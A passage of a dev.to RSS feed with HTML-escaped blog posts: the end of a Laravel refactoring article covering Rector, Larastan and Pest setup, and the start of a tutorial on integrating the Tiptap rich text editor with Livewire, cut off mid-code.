&lt;span class="o"&gt;-&lt;/span&gt;                &lt;span class="s1"&gt;'user_type'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;get_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;                &lt;span class="s1"&gt;'user_type'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="p"&gt;]);&lt;/span&gt;
         &lt;span class="p"&gt;}&lt;/span&gt;
     &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;-----------&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;-----------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How cool is that? Now I know that I can get the class from a model instance just by doing &lt;code&gt;$modelVar::class&lt;/code&gt;.&lt;br&gt;
I mean I, kinda, already knew that, but If I didn't, now I do... You get it... 😂&lt;/p&gt;

&lt;p&gt;I can also do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vendor/bin/rector &lt;span class="nt"&gt;--dry-run&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and only view the changes that are about to be made. It may be better this way for now because I want to get my hands dirty so that I won't make the same mistakes again in the future. Does that make sense? &lt;/p&gt;

&lt;p&gt;Maybe I'll add that command as well to the previous pre-commit hook and see the whole world burn whenever I am doing a new commit, maybe that way I'll force myself to do smaller commits. &lt;/p&gt;

&lt;p&gt;Cool video from Nuno Maduro about rector: &lt;a href="https://www.youtube.com/watch?v=15tsiv6AvnE" rel="noopener noreferrer"&gt;Why You Should Start Using Rector PHP Today&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Use Rector in My Project?
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Effortless Laravel Upgrades&lt;/strong&gt; – Rector provides Laravel-specific rules to help migrate between framework versions with minimal manual work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consistent Refactoring&lt;/strong&gt; – It enforces best practices and modern coding styles automatically.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Saves Time&lt;/strong&gt; – No need to manually track and update deprecated code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Highly Customizable&lt;/strong&gt; – You can define your own set of refactoring rules to match your project’s needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So now not only do I have cool formatting, but I also have a coder buddy fixing up my stupid no-brain code and keeping it up to date with the latest standards! Yes pleaseeee! What's next? &lt;/p&gt;

&lt;h2&gt;
  
  
  Making Sure It All Works with Larastan
&lt;/h2&gt;

&lt;p&gt;Automating refactoring with Rector ensures my code is modern and follows best practices, but that doesn’t mean it's error-free. Even small changes can introduce type mismatches, undefined properties, or incorrect method calls—issues that might not break the app immediately but could cause hard-to-debug failures later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;composer&lt;/span&gt; &lt;span class="k"&gt;require&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="s2"&gt;"larastan/larastan:^3.0"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;Then, the docs tell us to create a &lt;code&gt;phpstan.neon&lt;/code&gt; file in the root of your application. This file defines the analysis level and rules Larastan should follow. Place it in your project root:&lt;/p&gt;

&lt;p&gt;Mine looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;includes:
    - vendor/larastan/larastan/extension.neon
    - vendor/nesbot/carbon/extension.neon

parameters:

    paths:
        - app/

    &lt;span class="c"&gt;# The level 9 is the highest level&lt;/span&gt;
    level: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I am going with &lt;code&gt;level: 2&lt;/code&gt; because I want to work my way up to 9. And I am pretty sure that 9 is an overkill. 🤓&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;phpstan&lt;/span&gt; &lt;span class="n"&gt;analyse&lt;/span&gt; &lt;span class="c1"&gt;#--memory-limit=2G&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even with &lt;code&gt;level:2&lt;/code&gt; I got 70 errors... &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7a4ypkoc6oeuzyubj1mz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7a4ypkoc6oeuzyubj1mz.png" alt="my image saved on sudorealm.com" width="388" height="134"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Use Larastan in My Project?
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Works with Existing Code&lt;/strong&gt; – No need to rewrite everything; just start analyzing and improving step by step.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detects Logical Errors&lt;/strong&gt; – Finds undefined properties, incorrect method calls, wrong return types, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Understands Laravel's magic&lt;/strong&gt; – Knows about Laravel methods, facades, container resolution, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can create custom rules&lt;/strong&gt; – When I face the need to enforce a specific rule in my codebase, I can create a custom rule that checks that. &lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can also follow the &lt;a href="https://github.com/larastan/larastan?tab=readme-ov-file" rel="noopener noreferrer"&gt;Readme&lt;/a&gt; to learn more about Larastan. &lt;/p&gt;

&lt;h3&gt;
  
  
  Rector and Larastan - B.F.Fs.
&lt;/h3&gt;

&lt;p&gt;While &lt;strong&gt;Rector&lt;/strong&gt; improves your code automatically, &lt;strong&gt;Larastan&lt;/strong&gt; ensures your code is correct. They complement each other perfectly, and using both saves time, reduces bugs, and makes upgrading Sudorealm smoother.&lt;/p&gt;

&lt;h3&gt;
  
  
  From Static Analysis to Real-World Testing
&lt;/h3&gt;

&lt;p&gt;While Larastan will help me significantly catch potential issues before runtime, it doesn't prove that my app is in fact working as I want it to. I mean, look! It may work and load completely fine, with no bugs, server errors and all... But, there is a possibility that my business logic might break from these automated changes! No program will ever be able to comprehend exactly my business logic, even if it's the simplest one.&lt;/p&gt;

&lt;p&gt;Static analysis can only guess potential failures based on type mismatches and method signatures. To be truly confident in my code, I need real tests that simulate user interactions, validate business logic, and check for regressions.&lt;/p&gt;

&lt;p&gt;That’s why the next step in my workflow is &lt;a href="https://pestphp.com/" rel="noopener noreferrer"&gt;&lt;strong&gt;Pest&lt;/strong&gt;&lt;/a&gt;—a modern, elegant testing framework for Laravel built by the legend, &lt;a href="https://github.com/nunomaduro" rel="noopener noreferrer"&gt;Nuno Maduro&lt;/a&gt;. Let’s talk about how testing ensures my app isn’t just "correct" in theory, but actually works as expected.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pest
&lt;/h2&gt;

&lt;p&gt;I left this for the end because, in my opinion, it's the most important addition to the toolbelt. &lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;a href="https://pestphp.com/docs/installation" rel="noopener noreferrer"&gt;Installation&lt;/a&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer remove phpunit/phpunit
composer require pestphp/pest &lt;span class="nt"&gt;--dev&lt;/span&gt; &lt;span class="nt"&gt;--with-all-dependencies&lt;/span&gt;

./vendor/bin/pest &lt;span class="nt"&gt;--init&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, you can run your tests by executing the pest command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vendor/bin/pest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is also a way to migrate all your tests from PHPUnit to Pest. But I have ZERO tests... so... 😅&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Choose Pest over PHPUnit
&lt;/h3&gt;

&lt;p&gt;Firstly, let’s address the elephant in the room, Pest is PHPUnit. It’s not a replacement but rather a wrapper that enhances the developer experience. Asking "Why Pest over PHPUnit?" is similar to asking "Why Laravel over vanilla PHP?", both provide a smoother, more elegant way to achieve the same results.&lt;/p&gt;

&lt;p&gt;Pest was designed from the ground up for simplicity and ease of use, offering a modern, expressive, and fun way to write tests in PHP. It removes the clutter of traditional PHPUnit syntax, making tests feel more natural and readable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cleaner, More Expressive Syntax&lt;/strong&gt;&lt;br&gt;
Pest simplifies the verbosity of PHPUnit, reducing boilerplate. Instead of writing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//this function&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;test_example&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;assertTrue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;//can be written like this in Pest&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'example'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;assertTrue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a very real world. But it's just an example of the verbosity and power that Pest gives. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Built for Laravel&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pest was created by Nuno Maduro, a core Laravel team member. As a result, it has first-class support for Laravel testing, with features like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API testing&lt;/li&gt;
&lt;li&gt;Model factories&lt;/li&gt;
&lt;li&gt;Artisan commands&lt;/li&gt;
&lt;li&gt;Livewire support ( main differentiator for me )&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pest Plugins for Laravel-Specific Features&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pest has some crazy cool plugins that gives us tools to make our life easier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require pestphp/pest-plugin-laravel &lt;span class="nt"&gt;--dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;now I can create tests like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php artisan pest:test UsersTest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And many more helpful commands that I'll surely discover during this crazy refactor odyssey. &lt;/p&gt;

&lt;p&gt;Pest even provides official plugins to make Livewire testing even smoother:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require pestphp/pest-plugin-livewire &lt;span class="nt"&gt;--dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So yeah, these are the main reasons why I went with Pest, even though my team works with PHPUnit. Who knows, maybe in the future, I'll manage to convince them to change to Pest... Or I'll figure out that PHPUnit was the best choice after all! 🫣&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Fun Fact:&lt;/strong&gt; In LaraconEU 25, I met both the creators of PHPUnit and Pest 😅&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://pestphp.com/docs/plugins" rel="noopener noreferrer"&gt;Learn more about packages&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These packages surely have some overhead, setup, and getting used to but I believe they are the barebones of this refactor, cause they will be the guide towards a safer and more structured project. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;To wrap things up, I want to reiterate why I started this refactor series. After attending Laracon EU, I realized the importance of sharing my code, not just to help others and expand the possibilities of open-source development, but also to collaborate more and continue learning myself.&lt;/p&gt;

&lt;p&gt;I don’t, by any means,  claim to be the best developer I can be yet, nor that this refactor is some kind of holy grail of software development, this is all part of the journey to improve. By putting my work out there, I hope to contribute, grow, and refine my skills alongside the community. &lt;/p&gt;

&lt;p&gt;In the future, I know I’ll return to Sudorealm’s codebase and spot new things to improve, and that thought excites me! It’ll be proof that I’ve grown as a developer. But next time, there will be a difference: the project will be open-source, exposed to the sharp, vulture-like eyes of all you insanely talented coders out there. &lt;br&gt;
So please bear with me, hopefully, there will be people out there who will get something out of this lunacy that possesses me. &lt;/p&gt;

&lt;p&gt;I'd like to end this article with my favorite photo of LaraconEU 25 that essentially sparked the fire in me to go through with this series of articles! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmq2zblsyo77tlmqt1j8.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmq2zblsyo77tlmqt1j8.jpg" alt="Aaron Francis LaraconEu 2025" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Catch this part of the talk &lt;a href="https://youtu.be/ShavO_oNoaY?t=21421" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;br&gt;
Thank you &lt;a href="https://x.com/aarondfrancis" rel="noopener noreferrer"&gt;Aaron Francis&lt;/a&gt; 🙏 &lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 Spread the Love &amp;amp; Support the Realm
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this post and want to help improve the project, consider these quick ways to contribute:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🛍 &lt;strong&gt;Affiliate Treasures Below&lt;/strong&gt; – Check the list of cool gadgets below 👀&lt;/li&gt;
&lt;li&gt;☕️ &lt;strong&gt;Coffee Driven Development&lt;/strong&gt;: We are nothing but coffee-to-code machines! &lt;strong&gt;&lt;a href="//buymeacoffee.com/ZixcW8N"&gt;BuyMeACoffee&lt;/a&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Spread the Love
&lt;/h3&gt;

&lt;p&gt;👑 &lt;strong&gt;Crown &amp;amp; Share&lt;/strong&gt;: If you found value in this post, please give it a crown and share it with your fellow coder/hacker enthusiasts. Spreading knowledge is what Sudorealm is all about! &lt;em&gt;Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King!&lt;/em&gt; 🤴&lt;/p&gt;

&lt;p&gt;🆇 &lt;strong&gt;X Shoutout&lt;/strong&gt;: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you! &lt;a href="https://twitter.com/DevThanos" rel="noopener noreferrer"&gt;d3adR1nger on X&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;💬 &lt;strong&gt;Join our Discord Server&lt;/strong&gt;: Join the &lt;strong&gt;&lt;a href="https://discord.gg/GPnubTb4Qx" rel="noopener noreferrer"&gt;Sudorealm Discord Server&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!&lt;/p&gt;

</description>
      <category>laravel</category>
      <category>php</category>
      <category>refactoring</category>
      <category>livewire</category>
    </item>
    <item>
      <title>Using Tiptap Rich Text Editor with Livewire</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Tue, 24 Sep 2024 06:44:45 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/using-tiptap-rich-text-editor-with-livewire-5b46</link>
      <guid>https://dev.to/d3adr1nger/using-tiptap-rich-text-editor-with-livewire-5b46</guid>
      <description>&lt;p&gt;I’ve always had a tough time with rich text editors, not because they couldn’t do the job, but because getting them to work smoothly with Livewire has always been a challenge for me. I never really figured out how to make the integration feel clean, especially with my limited IQ 😅 and... JavaScript knowledge.&lt;/p&gt;

&lt;p&gt;But yesterday I discovered the Tiptap rich text editor and I’m thrilled because, believe it or not, it actually supports Livewire integration out of the box! No more duct-tape solutions or spending hours untangling JavaScript spaghetti code. For the first time, a rich text editor didn’t make me want to pull my hair out. In fact, I got it working on the first try. Yeah, I know, I almost didn’t believe it myself. I didn’t even have to question my entire career as a developer this time! &lt;br&gt;
And as always, I must share my newfound knowledge with you! 🤓 Let's kick things off!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2iw8484ctr25dm14iyb.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2iw8484ctr25dm14iyb.gif" alt="don't mess with hasbullah" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Table of contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What we are building&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Introduction to Tiptap&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Install Tiptap&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Livewire integration&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Step 1: Create the Livewire Component&lt;/li&gt;
&lt;li&gt;Step 2: Setup the Livewire Component&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Setup the Blade Component&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Markdown Support&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Toolbar Work and Customization&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Styling the Editor with Tailwind CSS&lt;/li&gt;
&lt;li&gt;Editor Commands for Text Formatting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Styling Time&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Link Support&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  What we are building
&lt;/h2&gt;

&lt;p&gt;For this example we are going to create a minimal rich text editor blade component that should "live" under a livewire component for, let's say, saving a post. And it's going to look like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhnboj5q966k9vv0t04zm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhnboj5q966k9vv0t04zm.png" alt="my image saved on sudorealm.com" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will mainly focus on a &lt;strong&gt;Laravel 11 - Livewire v3&lt;/strong&gt; TALL project so if you are outdated, well... &lt;a href="https://laravelshift.com/" rel="noopener noreferrer"&gt;laravel shift&lt;/a&gt; is your friend! &lt;/p&gt;
&lt;h2&gt;
  
  
  Introduction to Tiptap
&lt;/h2&gt;

&lt;p&gt;I won't go into much detail here cause you can find anything you want about the &lt;strong&gt;Tiptap Rich Text Editor&lt;/strong&gt; by browsing their &lt;a href="https://tiptap.dev/docs/editor/getting-started/overview" rel="noopener noreferrer"&gt;website&lt;/a&gt;. What I want to highlight about this rich text editor though is the following: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Create exactly the rich text editor you want out of customizable building blocks. Tiptap comes with sensible defaults, a lot of extensions, and a friendly API to customize every aspect. Tiptap offers both open-source extensions and Pro extensions available through a Tiptap account.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How cool is that guys? This little paragraph is what ignited the fire of curiosity in me and got me to explore further.&lt;/p&gt;
&lt;h3&gt;
  
  
  Install Tiptap
&lt;/h3&gt;

&lt;p&gt;Let's begin with the setup!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;alpinejs @tiptap/core @tiptap/pm @tiptap/starter-kit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;starter-kit&lt;/strong&gt; package includes the most common extensions to get started quickly. No need to install each one of them individually. Later in the example though, we will install some extra standalone extensions and you'll see what I am talking about. &lt;/p&gt;

&lt;p&gt;Next up navigate to your &lt;code&gt;app.js&lt;/code&gt; file and include the following lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./bootstrap&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// should already exist do not paste that :P &lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Editor&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tiptap/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;StarterKit&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tiptap/starter-kit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;// resources/app.js&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setupEditor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

      &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Editor&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
          &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="na"&gt;extensions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;StarterKit&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
          &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;onUpdate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHTML&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;

        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;$watch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="c1"&gt;// If the new content matches TipTap's then we just skip.&lt;/span&gt;
